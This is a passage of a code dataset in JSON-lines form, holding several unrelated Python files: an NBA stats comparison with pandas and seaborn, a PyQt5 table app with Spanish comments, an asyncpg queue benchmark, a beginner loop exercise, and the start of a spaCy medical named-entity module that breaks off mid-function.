{'Column2': 'Win/Lose'}, inplace = True)\nLBJ.rename(columns = {'Column1': 'Home/Away'}, inplace = True)\n\nLBJ['Home/Away'] = LD['Home/Away'].replace([np.nan], 'Home')\n\nparts = LBJ['Age'].str.split('-', expand=True)\nLBJ['Age'] = parts[0]\nLBJ['Age'] = LD['Age'].astype('int')\n\nparts = LBJ['Win/Lose'].str.split(' ', expand=True)\nLBJ['Win/Lose'] = parts[0]\n\nLBJ.drop('MP', inplace=True, axis=1)\n\n#LBJ.info()\n\n'''We start comparing both player rookie seasons'''\n\n'''Total games played for the season'''\nld_gp = 72\nlbj_gp = 79\n\n'''Function that will join selected columns from 2 dataframes and create a new one'''\n\n\ndef join2columns_ld_lbj(new_df1, new_df2):\n new_df = pd.concat([new_df1, new_df2], axis=0, ignore_index=False)\n new_df['Player'] = (len(new_df1) * (0,) + len(new_df2) * (1,))\n new_df.reset_index(inplace=True)\n new_df['Player'] = new_df['Player'].map({0: 'Luka', 1: 'LeBron'})\n return new_df\n\n\n'''New dataframe creation which stores both top 10 scoring performances and its barplot'''\nld_mostpoints = LD['PTS'].nlargest(n=10).reset_index()\nlbj_mostpoints = LBJ['PTS'].nlargest(n=10).reset_index()\npts10=join2columns_ld_lbj(ld_mostpoints, lbj_mostpoints)\n#print(pts10)\n\nsns.barplot(x='index', y='PTS', hue = 'Player', palette='hls', data=pts10).set(xlabel =\"Game nº\")\nplt.show()\n\n'''New data: percentage of type of shots for each player'''\n'''Volume of 3P, 2P and FT shots for each one'''\n\n\ndef percentage_of(stat, df):\n new_perc = (df[stat].sum()*100)/(df['FGA'].sum()+df['FTA'].sum())\n return new_perc\n\n\nld3P = percentage_of('3PA', LD)\nlbj3P = percentage_of('3PA', LBJ)\nldft = percentage_of('FTA', LD)\nlbjft = percentage_of('FTA', LBJ)\nld2p = 100-(ld3P+ldft)\nlbj2p = 100-(lbjft+lbj3P)\n\n'''We create a dataframe and a plot using the shot percentages'''\n#data = {'Shot Type': ['3P','3P', '2P','2P', 'FT', 'FT'], 'Data': [lbj3P,ld3P, lbj2p,ld2p, lbjft, ldft], 'Player': ['LeBron','Luka', 'LeBron','Luka', 'LeBron', 'Luka']}\nld_pctg = pd.DataFrame({'Shot Type': ['3P', '2P', 'FT'], 'Data': [ld3P, ld2p, ldft]})\nlbj_pctg = pd.DataFrame({'Shot Type': ['3P', '2P', 'FT'], 'Data': [lbj3P, lbj2p, lbjft]})\npctg_comp = join2columns_ld_lbj(ld_pctg, lbj_pctg)\n\nsns.barplot(data=pctg_comp,x='Shot Type',y='Data', hue='Player').set(ylabel =\"%\")\nplt.show()\n\n'''We create a new dataframe that will help us visualize better the 3 point shot difference between both'''\nld3pa = LD['3PA'].reset_index()\nlbj3pa = LBJ['3PA'].reset_index()\ndf3pa = join2columns_ld_lbj(ld3pa, lbj3pa)\nprint(df3pa)\nsns.scatterplot(data=df3pa, x='index', y='3PA', hue = 'Player', palette='hls').set(xlabel='Game nº')\nplt.show()","repo_name":"FidelNaavacerrada/Data_Analysis_NBA_Project","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37172013253","text":"# pip3 install pyqt5\n# pip3 install pyqt5-tools\n# pip3 install pandas\n\n\nimport sys\nimport pandas\nimport random\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5 import QtCore\nfrom PyQt5.QtGui import QIcon\n\n# Crear la clase principal\nclass Tabla(QWidget):\n # Metodo constructor de la clase\n # Primer metodo que se ejecuta al instanciar la clase\n def __init__(self):\n super().__init__()\n # invocar todos los metodos\n self.interfaz()\n\n def interfaz(self):\n # ! Interfaz\n self.setFixedSize(600,600)\n self.setWindowTitle(\"Tabla QT\")\n # self.setWindowIcon(QIcon(\"/Users/jairaceves/Documents/Curso Python/logo.png\"))\n self.setWindowIcon(QIcon(QPixmap('logo.png')))\n self.setStyleSheet(\"background-color:#DCDCDC; color:#000\")\n\n # ! Titulo\n self.titulo = QLabel(self)\n self.titulo.setText(\"Python Tabla QT\")\n self.titulo.setGeometry(165, 20, 300, 50)\n self.titulo.setFont(QFont(\"Calibri Light\", 18))\n self.titulo.setAlignment(QtCore.Qt.AlignCenter)\n self.titulo.setStyleSheet(\n \"\"\"\n QLabel {\n background-color:#000;\n color:#fff;\n border-radius: 13px;\n border:3px solid #00FF91\n }\n \"\"\")\n \n # ! Tabla\n self.tabla = QTableWidget(self)\n self.tabla.setGeometry(10, 110, 580, 400)\n self.tabla.setFont(QFont(\"Calibri Light\", 11))\n self.tabla.setStyleSheet(\n \"\"\"\n QTableWidget {\n background-color: #7A797A;\n color: #000;\n border-radius: 9px;\n border: 3px solid #00FF91;\n\n }\n QTableWidget:hover {\n border: 3px solid #890D9F;\n }\n \"\"\")\n \n # Establecer numero de columnas\n self.tabla.setColumnCount(6)\n # Establecer numero de filas\n self.tabla.setRowCount(0)\n # Deshabilitar la edición\n self.tabla.setEditTriggers(QAbstractItemView.NoEditTriggers)\n # Seleccionar todas las filas\n self.tabla.setSelectionBehavior(QAbstractItemView.SelectRows)\n # Selecionar una sola fila a la vez\n self.tabla.setSelectionMode(QAbstractItemView.SingleSelection)\n # Filas de color alternadas\n self.tabla.setAlternatingRowColors(True)\n # Alto de las filas\n self.tabla.verticalHeader().setDefaultSectionSize(20)\n # Agregar nombres a las columnas\n nombre_columnas = (\"id\", \"Edad\", \"Peso\", \"Altura\", \"Presion\", \"Glucosa\")\n self.tabla.setHorizontalHeaderLabels(nombre_columnas)\n\n # Aceptar\n self.btnAceptar = QPushButton(self)\n self.btnAceptar.setText(\"Aceptar\")\n self.btnAceptar.setGeometry(100, 520, 120, 40)\n self.btnAceptar.setFont(QFont(\"Calibri Light\", 14))\n self.btnAceptar.clicked.connect(self.cargar_datos)\n self.btnAceptar.setStyleSheet(\n \"\"\"\n QPushButton {\n background-color:#fff;\n color:#000;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n QPushButton:hover {\n background-color:#12864A; \n color:#fff;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n QPushButton:pressed {\n background-color:#166AA9; \n color:#fff;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n \"\"\")\n\n # Limpiar\n self.btnLimpiar = QPushButton(self)\n self.btnLimpiar.setText(\"Limpiar\")\n self.btnLimpiar.setGeometry(240, 520, 120, 40)\n self.btnLimpiar.setFont(QFont(\"Calibri Light\", 14))\n self.btnLimpiar.clicked.connect(self.limpiar_tabla)\n self.btnLimpiar.setStyleSheet(\n \"\"\"\n QPushButton {\n background-color:#fff;\n color:#000;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n QPushButton:hover {\n background-color:#12864A; \n color:#fff;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n QPushButton:pressed {\n background-color:#166AA9; \n color:#fff;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n \"\"\")\n\n # Exportar\n self.btnExportar = QPushButton(self)\n self.btnExportar.setText(\"Exportar\")\n self.btnExportar.setGeometry(380, 520, 120, 40)\n self.btnExportar.setFont(QFont(\"Calibri Light\", 14))\n self.btnExportar.clicked.connect(self.exportar_datos)\n self.btnExportar.setStyleSheet(\n \"\"\"\n QPushButton {\n background-color:#fff;\n color:#000;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n QPushButton:hover {\n background-color:#12864A; \n color:#fff;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n QPushButton:pressed {\n background-color:#166AA9; \n color:#fff;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n \"\"\")\n\n # Menu desplegable\n self.menu = QMenu()\n for indice, columna in enumerate(nombre_columnas, start=0):\n accion = QAction(columna, self.menu)\n accion.setCheckable(True) # permite que le pongamos palomita\n accion.setChecked(True) # permite que se mantengan las palomitas\n accion.setData(indice)\n self.menu.addAction(accion)\n\n # Vincular el metodo al menu/boton\n self.menu.triggered.connect(self.mostrar_ocultar)\n\n # Boton Menu\n self.btnMenu = QPushButton(self)\n self.btnMenu.setText(\"Menu\")\n self.btnMenu.setMenu(self.menu)\n self.btnMenu.setGeometry(10, 70, 200, 30)\n self.btnMenu.setFont(QFont(\"Calibri Light\", 12))\n self.btnMenu.setStyleSheet(\n \"\"\"\n QPushButton {\n background-color:#fff;\n color:#000;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n QPushButton:hover {\n background-color:#12864A; \n color:#fff;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n QPushButton:pressed {\n background-color:#166AA9; \n color:#fff;\n border-radius: 10px;\n border:3px solid #0BEBF3\n }\n \"\"\")\n\n\n def cargar_datos(self):\n try:\n # Limpiar tabla\n self.tabla.clearContents()\n # Variable para contruir las filas\n fila = 0\n # Cantidad de filas a generar\n cantidad = 1000\n # Ciclo para cargar los datos\n for i in range(cantidad):\n # Agregar una nueva fila\n self.tabla.setRowCount(fila + 1)\n # Añadir datos a cada celda de la fila\n \n # ID\n self.tabla.setItem(fila, 0, QTableWidgetItem(str(i + 1)))\n # Edad\n self.tabla.setItem(fila, 1, QTableWidgetItem(str(random.randint(18, 65))))\n # Peso\n self.tabla.setItem(fila, 2, QTableWidgetItem(str(random.randint(60, 100))))\n # Altura\n self.tabla.setItem(fila, 3, QTableWidgetItem(str(round(random.uniform(0,1) + 1, 2))))\n # Presión\n self.tabla.setItem(fila, 4, QTableWidgetItem(str(random.randint(80, 150))))\n # Glucosa\n self.tabla.setItem(fila, 5, QTableWidgetItem(str(random.randint(140,199))))\n\n # Icremento del Iterador\n fila += 1\n \n # Aviso\n # QMessageBox.information(self, \"Aviso se cargaron los datos con exito\")\n\n\n except Exception as e:\n QMessageBox.warning(self, \"Error\", str(e))\n\n def limpiar_tabla(self):\n pregunta = QMessageBox.question(self,\"Limpiar\", \"¿Desea Limpiar la Tabla?\")\n if pregunta == QMessageBox.Yes:\n self.tabla.clearContents()\n else:\n QMessageBox.information(self,\"Aviso\", \"No se limpiarán los Datos\")\n\n def exportar_datos(self):\n try: \n # Crear una lista para los encabezados\n encabezados = []\n # Recorer las columnas\n for c in range(self.tabla.model().columnCount()):\n # Agregar el valor string de las columnas al arreglo\n encabezados.append(self.tabla.horizontalHeaderItem(c).text())\n \n # Enviar los encabezados a un DataFrame\n df = pandas.DataFrame(columns=encabezados)\n\n # Recorrer las Filas\n for fila in range(self.tabla.model().rowCount()):\n # Recorrer las celdas de cada fila\n for celda in range(self.tabla.model().columnCount()):\n # Agregar al df las celdas de cada fila\n # at = acceder a una coordenada en especifico\n df.at[fila, encabezados[celda]] = self.tabla.item(fila,celda).text()\n\n # Exportar\n df.to_html(r\"/Users/jairaceves/Documents/Curso Python/exportacion.html\")\n df.to_csv(r\"/Users/jairaceves/Documents/Curso Python/exportacion.csv\")\n\n QMessageBox.information(self,\"Exportar\",\"Exportacion Exitosa\")\n\n except Exception as e:\n QMessageBox.warning(self, \"Error\", str(e))\n\n def mostrar_ocultar(self, accion):\n columna = accion.data()\n\n if accion.isChecked():\n self.tabla.setColumnHidden(columna, False)\n else:\n self.tabla.setColumnHidden(columna, True)\n \n# Estructura que ejecuta la App\nif __name__ == \"__main__\":\n # Instancia para iniciar la app\n app = QApplication(sys.argv)\n # Instancia de la clase Ventana\n tabla = Tabla()\n # Mostrar la tabla\n tabla.show()\n # Ejecutar la app\n app.exec()\n","repo_name":"Jair-vet/Course-Python-Proulex","sub_path":"Python/tabla_qt.py","file_name":"tabla_qt.py","file_ext":"py","file_size_in_byte":10392,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11078125374","text":"import asyncio\nimport logging\nimport sys\nimport time\nfrom datetime import timedelta\n\nfrom asyncpg_queue import bootstrap, Worker\n\nlogging.basicConfig(\n level=logging.DEBUG, format=\"%(asctime)s %(name)s %(levelname)s %(message)s\"\n)\nlogging.captureWarnings(True)\n\n\nasync def main(concurrency: int) -> None:\n counter = 0\n\n async def f() -> None:\n nonlocal counter\n counter += 1\n\n db = \"postgresql://postgres@0.0.0.0:5433/postgres\"\n\n await bootstrap(db)\n\n worker = Worker(\n db,\n tasks={\"f\": f},\n burst=True,\n concurrency=concurrency,\n )\n start = time.monotonic()\n await worker.run()\n end = time.monotonic()\n time_spent = end - start\n try:\n rate = time_spent / counter\n except ZeroDivisionError:\n rate = 0\n print(f\"Processed {counter} tasks in {time_spent:.4}s ({rate:.2}s/task)\")\n\n\nif __name__ == \"__main__\":\n asyncio.run(main(int(sys.argv[1])))\n","repo_name":"n8sty/asyncpg-queue","sub_path":"example/benchmark/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"34700914521","text":"# Michael Manzella\r\n# 22-Sep-20\r\n#\r\n# (1) Bug Collector\r\n# A bug collector collects bugs every day for five days. Write a program that keeps a running total of the number of bugs\r\n# collected during the five days. The loop should ask for the number of bugs collected for each day, and when the loop is\r\n# finished, the program should display the total number of bugs collected.\r\n\r\n# loop five times\r\n# display day and ask how many bugs collected\r\n# add to bug total\r\n# \r\n# display total bugs collected\r\n\r\ntotal = 0\r\n\r\nfor day in ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday']:\r\n print('Enter bugs for',day,':', end=' ')\r\n bugs = int(input(''))\r\n total = total + bugs\r\n \r\nprint(total,'Bugs collected this week')\r\n\r\n# Enter bugs for Monday : 1\r\n# Enter bugs for Tuesday : 1\r\n# Enter bugs for Wednesday : 1\r\n# Enter bugs for Thursday : 1\r\n# Enter bugs for Friday : 1\r\n# 5 Bugs collected this week","repo_name":"michaeljmanzella/Python-111","sub_path":"Python_Chp4/(1) Bug.py","file_name":"(1) Bug.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29263219580","text":"import numpy as np\nimport torch\nimport spacy\nimport fasttext\nimport itertools\nimport re\nimport copy\n\nfrom copy import deepcopy\nfrom tqdm import tqdm\nfrom textdistance import ratcliff_obershelp\nfrom spacy.tokens import Span\nfrom spacy.matcher import PhraseMatcher\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom transformers import AutoTokenizer, AutoModel\n\nfrom .normalizer import MinMaxNormalizer\nfrom ..utils import utils\nfrom ..negex.negation import Negex\n\n\nclass NERD(object):\n\n\tdef __init__(self, biospacy=\"en_core_sci_lg\", biow2v=True, str_match=False, biofast=None, biobert=None, rules=None, dysplasia_mappings=None, cin_mappings=None, gpu=None):\n\t\t\"\"\"\n\t\tLoad models and rules\n\n\t\tParams:\n\t\t\tbiospacy (str): full spaCy pipeline for biomedical data\n\t\t\tbiow2v (bool): whether to use biospacy to perform semantic matching or not\n\t\t\tstr_match (bool): string matching\n\t\t\tbiofast (str): biomedical fasttext model\n\t\t\tbiobert (str): biomedical bert model\n\t\t\trules (str): hand-crafted rules file path\n\t\t\tdysplasia_mappings (str): dysplasia mappings file path\n\t\t\tcin_mappings (str): cin mappings file path\n\t\t\tgpu (int): use gpu when using BERT\n\n\t\tReturns: None\n\t\t\"\"\"\n\n\t\t# prepare spaCy model\n\t\tself.nlp = spacy.load(biospacy)\n\t\t# prepare PhraseMatcher model\n\t\tself.matcher = PhraseMatcher(self.nlp.vocab, attr=\"LOWER\")\n\t\t# prepare Negex model\n\t\tself.negex = Negex(self.nlp, language=\"en_clinical\", chunk_prefix=[\"free of\", \"free from\"]) # chunk_prefix allows to match also negations chunked together w/ entity mentions\n\t\tself.negex.add_patterns(preceding_negations=[\"free from\"]) # @smarchesin TODO: read negations from file if the number of patterns rises\n\t\tself.negex.remove_patterns(following_negations=[\"free\"]) # 'free' pattern clashes w/ 'free of' and 'free from' -- @smarchesin TODO: is there a way to fix this without removing 'free'?\n\n\t\t# load hand-crafted rules\n\t\tif rules: # custom hand-crafted rules file path\n\t\t\tself.rules = utils.read_rules(rules)\n\t\telse: # default hand-crafted rules file path\n\t\t\tself.rules = utils.read_rules('./sket/nerd/rules/rules.txt')\n\t\t# set patterns for PhraseMatcher \n\t\tself.patterns = {use_case: {trigger: [self.nlp(candidate) for candidate in candidates[0]] for trigger, candidates in rules.items()} for use_case, rules in self.rules.items()}\n\n\t\t# add expand_entity_mentions to spaCy processing pipeline\n\t\tself.nlp.add_pipe(self.expand_entity_mentions, name='expand_entities', after='ner')\n\t\t# add negation detector to spaCy pipeline\n\t\tself.nlp.add_pipe(self.negex, last=True)\n\n\t\tself.biow2v = biow2v\n\t\tif str_match: # prepare string matching model\n\t\t\tself.gpm = ratcliff_obershelp # gpm == gestalt pattern matching\n\t\telse:\n\t\t\tself.gpm = None\n\t\tif biofast: # prepare fasttext model\n\t\t\tself.biofast_model = fasttext.load_model(biofast)\n\t\telse:\n\t\t\tself.biofast_model = None\n\t\tif biobert: # prepare bert model\n\t\t\tself.bert_tokenizer = AutoTokenizer.from_pretrained(biobert)\n\t\t\tself.bert_model = AutoModel.from_pretrained(biobert)\n\t\t\tself.gpu = gpu\n\t\t\tif type(self.gpu) == int:\n\t\t\t\tdevice = 'cuda:' + str(self.gpu)\n\t\t\telse:\n\t\t\t\tdevice = 'cpu'\n\t\t\tself.bert_model = self.bert_model.to(device)\n\t\telse:\n\t\t\tself.bert_model = None\n\n\t\t# load dysplasia mappings\n\t\tif dysplasia_mappings: # custom dysplasia mappings file path\n\t\t\tself.dysplasia = utils.read_dysplasia_mappings(dysplasia_mappings)\n\t\telse: # default dysplasia mappings file path\n\t\t\tself.dysplasia = utils.read_dysplasia_mappings('./sket/nerd/rules/dysplasia_mappings.txt')\n\t\t# load cin mappings\n\t\tif cin_mappings: # custom cin mappings file path\n\t\t\tself.cin = utils.read_cin_mappings(cin_mappings)\n\t\telse: # default cin mappings file path\n\t\t\tself.cin = utils.read_cin_mappings('./sket/nerd/rules/cin_mappings.txt')\n\t\t# define set of ad hoc linking functions\n\t\tself.ad_hoc_linking = {\n\t\t\t'colon': self.ad_hoc_colon_linking,\n\t\t\t'cervix': self.ad_hoc_cervix_linking,\n\t\t\t'lung': self.ad_hoc_lung_linking,\n\t\t\t'celiac': self.ad_hoc_celiac_linking\n\t\t}\n\t\t# set parameter to None before choosing use case\n\t\tself.use_case_ad_hoc_linking = None\n\t\t# define set of ad hoc post processing concept operations\n\t\tself.ad_hoc_post_processing = {\n\t\t\t'colon': self.ad_hoc_colon_post_processing,\n\t\t\t'cervix': self.ad_hoc_cervix_post_processing,\n\t\t\t'lung': self.ad_hoc_lung_post_processing,\n\t\t\t'celiac': self.ad_hoc_celiac_post_processing\n\t\t}\n\t\t# set parameter to None before choosing use case\n\t\tself.use_case_ad_hoc_post_processing = None\n\t\t# set parameter to store the hand-crated rules restricted to a specific use-case (updated w/ self.set_rules() func)\n\t\tself.use_case_rules = dict()\n\t\t# set parameter to store dysplasia mappings restricted to a specific use-case\n\t\tself.use_case_dysplasia = dict()\n\n\t\t# list of valued-data properties\n\t\tself.valued_props = ['modified marsh classification of histologic findings in celiac disease', 'villi degree of atrophy',\n\t\t\t\t\t\t'duodenum villi length', 'villi to crypt of lieberkuhn ratio', 'intraepithelial lymphocyte count',\n\t\t\t\t\t\t'number of mitosis per crypt', 'duodenitis severity']\n\n\t# COMMON FUNCTIONS\n\n\tdef restrict2use_case(self, use_case): # @smarchesin TODO: remove all the triggers within PhraseMacher by looping over use cases - then consider only the use case ones\n\t\t\"\"\"\n\t\tRestrict hand crafted rules to the considered use-case\n\n\t\tParams: \n\t\t\tuse_case (str): the considered use case\n\n\t\tReturns: the updated rules, candidates, and mappings\n\t\t\"\"\"\n\n\t\t# restrict hand crafted rules\n\t\tself.use_case_rules = self.rules[use_case]\n\t\tself.use_case_dysplasia = self.dysplasia[use_case]\n\t\tself.use_case_ad_hoc_linking = self.ad_hoc_linking[use_case]\n\t\tself.use_case_ad_hoc_post_processing = self.ad_hoc_post_processing[use_case]\n\t\t# remove triggers within PhraseMatcher\n\t\tfor use_case_patterns in self.patterns.values():\n\t\t\tfor trigger in use_case_patterns.keys():\n\t\t\t\tif trigger in self.matcher: # trigger found within PhraseMatcher -- remove it\n\t\t\t\t\tself.matcher.remove(trigger)\n\t\t# add triggers within PhraseMatcher for the specified use case\n\t\tfor trigger, candidates in self.patterns[use_case].items():\n\t\t\tself.matcher.add(trigger, None, *candidates)\n\n\tdef expand_entity_mentions(self, doc):\n\t\t\"\"\"\n\t\tExpand entity mentions relying on hand-crafted rules\n\n\t\tParams:\n\t\t\tdoc (spacy.tokens.doc.Doc): text processed w/ spaCy models\n\n\t\tReturns: a new set of entities for doc\n\t\t\"\"\"\n\n\t\tspans = list()\n\t\t# loop over restricted entities and expand entity mentions based on hand-crafted rules\n\t\tfor ent in doc.ents:\n\t\t\t# identify triggers for current entity mention\n\t\t\ttriggers = [trigger for trigger in self.use_case_rules.keys() if (trigger in ent.text)]\n\t\t\tif triggers: # current entity presents a trigger\n\t\t\t\t# keep longest trigger as candidate trigger - e.g., adenocarcinoma instead of carcinoma\n\t\t\t\ttrigger = max(triggers, key=len)\n\t\t\t\tcandidates, location, mode = self.use_case_rules[trigger]\n\t\t\t\t# check whether the entity mention contains any rule's candidate and exclude those candidates already contained within the entity mention\n\t\t\t\ttarget_candidates = [candidate for candidate in candidates if (candidate not in ent.text)]\n\t\t\t\t# search target candidates within preceding, subsequent or both tokens\n\t\t\t\tif location == 'PRE': # candidates are matched on preceding tokens \n\t\t\t\t\tif mode == 'EXACT': # candidates are matched by exact matching immediately preceding tokens \n\t\t\t\t\t\tspans = self.pre_exact_match(doc, ent, target_candidates, spans)\n\t\t\t\t\telif mode == 'LOOSE': # candidates are matched by finding matches within preceding tokens\n\t\t\t\t\t\tspans = self.pre_loose_match(doc, ent, trigger, target_candidates, spans)\n\t\t\t\t\telse: # wrong or mispelled mode - return exception\n\t\t\t\t\t\tprint(\"The mode is wrong or misspelled in the rules.txt file\")\n\t\t\t\t\t\traise Exception\n\t\t\t\telif location == 'POST': # candidates are matched on subsequent tokens \n\t\t\t\t\tif mode == 'EXACT': # candidates are matched by exact matching immediately subsequent tokens\n\t\t\t\t\t\tspans = self.post_exact_match(doc, ent, target_candidates, spans)\n\t\t\t\t\telif mode == 'LOOSE': # candidates are matched by finding matches within subsequent tokens\n\t\t\t\t\t\tspans = self.post_loose_match(doc, ent, trigger, target_candidates, spans)\n\t\t\t\t\telse: # wrong or mispelled mode - return exception\n\t\t\t\t\t\tprint(\"The mode is wrong or misspelled in the rules.txt file\")\n\t\t\t\t\t\traise Exception\n\t\t\t\telif location == 'BOTH': # candidates are matched on preceding and subsequent tokens\n\t\t\t\t\tif mode == 'EXACT': # candidates are matched by exact matching immediately preceding and subsequent tokens\n\t\t\t\t\t\tspans = self.pre_exact_match(doc, ent, target_candidates, spans)\n\t\t\t\t\t\tspans = self.post_exact_match(doc, ent, target_candidates, spans)\t\n\t\t\t\t\telif mode == 'LOOSE': # candidates are matched by finding matches within preceding and subsequent tokens\n\t\t\t\t\t\tspans = self.pre_loose_match(doc, ent, trigger, target_candidates, spans)\n\t\t\t\t\t\tspans = self.post_loose_match(doc, ent, trigger, target_candidates, spans)\n\t\t\t\t\telse: # wrong or mispelled mode - return exception\n\t\t\t\t\t\tprint(\"The mode is wrong or misspelled in the rules.txt file\")\n\t\t\t\t\t\traise Exception\n\t\t\t\telse: # error in the rules.txt file\n\t\t\t\t\tprint(\"The positional information is wrong or misspelled in the rules.txt file\")\n\t\t\t\t\traise Exception\n\t\t\telse: # current entity does not present a trigger\n\t\t\t\tspans.append([ent.start, ent.end])\n\t\tif spans: # doc contains valid entity mentions\n\t\t\t# merge entities w/ overlapping spans\n\t\t\tmerged_spans = self.merge_spans(spans)\n\t\t\tdoc.ents = [Span(doc, span[0], span[1], label='ENTITY') for span in merged_spans]\n\t\treturn doc\n\n\tdef pre_exact_match(self, doc, ent, candidates, spans):\n\t\t\"\"\"\n\t\tPerform exact matching between entity mention and preceding candidates and return the extended span (i.e., entity mention + candidate)\n\n\t\tParams: \n\t\t\tdoc (spacy.tokens.doc.Doc): text processed w/ spaCy models\n\t\t\tent (spacy.tokens.doc.Doc.ents): entity mention found by NER\n\t\t\tcandidates (list(string)): list of candidates associated to the trigger\n\t\t\tspans (list(list)): list of span ranges [start, end]\n\n\t\tReturns: the list of expanded spans given the entity mentions \n\t\t\"\"\" \n\n\t\tmatched_candidate_ix = None\n\t\tix = self.skip_pre_punct(doc, ent.start-1) # returns previous token index if token.is_punct != True, otherwise None\n\t\tif type(ix) == int: \n\t\t\tfor candidate in candidates: # loop over candidates \n\t\t\t\tnum_tokens = len(candidate.split()) # number of tokens to inspect\n\t\t\t\tpre_tokens = doc[max(0, ix-num_tokens+1):ix+1]\n\t\t\t\tif candidate == pre_tokens.text: # exact match between candidate and tokens\n\t\t\t\t\tmatched_candidate_ix = pre_tokens.start\n\t\tif matched_candidate_ix:\n\t\t\t# expand entity mention\n\t\t\tspans.append([matched_candidate_ix, ent.end])\n\t\telse:\n\t\t\t# keep current entity mention as is\n\t\t\tspans.append([ent.start, ent.end])\n\t\treturn spans\n\n\tdef skip_pre_punct(self, doc, ix):\n\t\t\"\"\"\n\t\tGet (recursively) the index of the precedent token where token.is_alpha == True (closing punctuation not allowed)\n\n\t\tParams:\n\t\t\tdoc (spacy.tokens.doc.Doc): the processed document\n\t\t\tix (int): the current index\n\n\t\tReturns: the correct token index or None if skip_punct meets EOS\n\t\t\"\"\"\n\n\t\tif ix == -1 or doc[ix].text == '.': # BOS or closing punctuation\n\t\t\treturn None\n\t\telif not doc[ix].is_punct: # base case\n\t\t\treturn ix\n\t\telse: # recursive case\n\t\t\treturn self.skip_pre_punct(doc, ix-1) \n\n\tdef post_exact_match(self, doc, ent, candidates, spans):\n\t\t\"\"\"\n\t\tPerform exact matching between entity mention and subsequent candidates and return the extended span (i.e., entity mention + candidate)\n\n\t\tParams: \n\t\t\tdoc (spacy.tokens.doc.Doc): text processed w/ spaCy models\n\t\t\tent (spacy.tokens.doc.Doc.ents): entity mention found by NER\n\t\t\tcandidates (list(string)): list of candidates associated to the trigger\n\t\t\tspans (list(list)): list of span ranges [start, end]\n\n\t\tReturns: the list of expanded spans given the entity mentions \n\t\t\"\"\"\n\n\t\tmatched_candidate_ix = None\n\t\tix = self.skip_post_punct(doc, ent.end) # returns next token index if token.is_punct != True, otherwise None\n\t\tif type(ix) == int: \n\t\t\tfor candidate in candidates: # loop over candidates\n\t\t\t\tnum_tokens = len(candidate.split()) # number of tokens to inspect\n\t\t\t\tpost_tokens = doc[ix:ix+num_tokens]\n\t\t\t\tif candidate == post_tokens.text: # exact match between candidate and tokens\n\t\t\t\t\tmatched_candidate_ix = post_tokens.end\n\t\tif matched_candidate_ix:\n\t\t\t# expand entity mention\n\t\t\tspans.append([ent.start, matched_candidate_ix])\n\t\telse:\n\t\t\t# keep current entity mention as is\n\t\t\tspans.append([ent.start, ent.end])\n\t\treturn spans\n\n\tdef skip_post_punct(self, doc, ix):\n\t\t\"\"\"\n\t\tGet (recursively) the index of the posterior token where token.is_alpha == True (closing punctuation not allowed)\n\t\t\n\t\tParams:\n\t\t\tdoc (spacy.tokens.doc.Doc): the processed document\n\t\t\tix (int): the current index\n\t\t\t\n\t\tReturns: the correct token index or None if skip_punct meets EOS\n\t\t\"\"\"\n\t\t\n\t\tif ix == len(doc) or doc[ix].text == '.': # EOS or closing punctuation\n\t\t\treturn None\n\t\telif not doc[ix].is_punct: # base case\n\t\t\treturn ix\n\t\telse: # recursive case\n\t\t\treturn self.skip_post_punct(doc, ix+1)\n\n\tdef pre_loose_match(self, doc, ent, trigger, candidates, spans):\n\t\t\"\"\"\n\t\tPerform loose matching between entity mention and preceding candidates and return the extended span (i.e., entity mention + candidate)\n\n\t\tParams: \n\t\t\tdoc (spacy.tokens.doc.Doc): text processed w/ spaCy models\n\t\t\tent (spacy.tokens.doc.Doc.ents): entity mention found by NER\n\t\t\ttrigger (string): token triggered for the entity mention\n\t\t\tcandidates (list(string)): list of candidates associated to the trigger\n\t\t\tspans (list(list)): list of span ranges [start, end]\n\n\t\tReturns: the list of expanded preceding spans given the entity mentions \n\t\t\"\"\"\n\n\t\tmatched_candidates = list()\n\t\tix = self.get_pre_tokens(ent) # returns previous token index if not token.is_punct == True, otherwise None\n\t\tif type(ix) == int: \n\t\t\t# perform matching over doc and return matches\n\t\t\tmatches = self.matcher(doc)\n\t\t\tfor m_id, m_start, m_end in matches:\n\t\t\t\tif self.matcher.vocab.strings[m_id] != trigger: # match w/ different trigger\n\t\t\t\t\tcontinue\n\t\t\t\tif (m_start < ix) or (m_end > ent.start): # match out of bounds\n\t\t\t\t\tcontinue\n\t\t\t\tif doc[m_start:m_end].text not in candidates: # match out of candidates\n\t\t\t\t\tcontinue\n\t\t\t\tmatched_candidates.append(m_start) # match found - store starting index\n\t\tif matched_candidates:\n\t\t\t# keep earliest candidate index for entity mention's expansion\n\t\t\tfix = min(matched_candidates)\n\t\t\t# expand entity mention\n\t\t\tspans.append([fix, ent.end])\n\t\telse:\n\t\t\t# keep current entity mention as is\n\t\t\tspans.append([ent.start, ent.end])\n\t\treturn spans\n\n\t@staticmethod\n\tdef get_pre_tokens(ent):\n\t\t\"\"\"\n\t\tGet index of the first token\n\n\t\tParams:\n\t\t\tent (spacy.tokens.span.Span): the current entity\n\n\t\tReturns: the correct token index or None if skip_punct meets BOS\n\t\t\"\"\"\n\n\t\tsent_ix = ent.sent.start\n\t\tif ent.start == sent_ix: # entity mention is the first token in the sentence - skip it\n\t\t\treturn None\n\t\telse: # return index of the 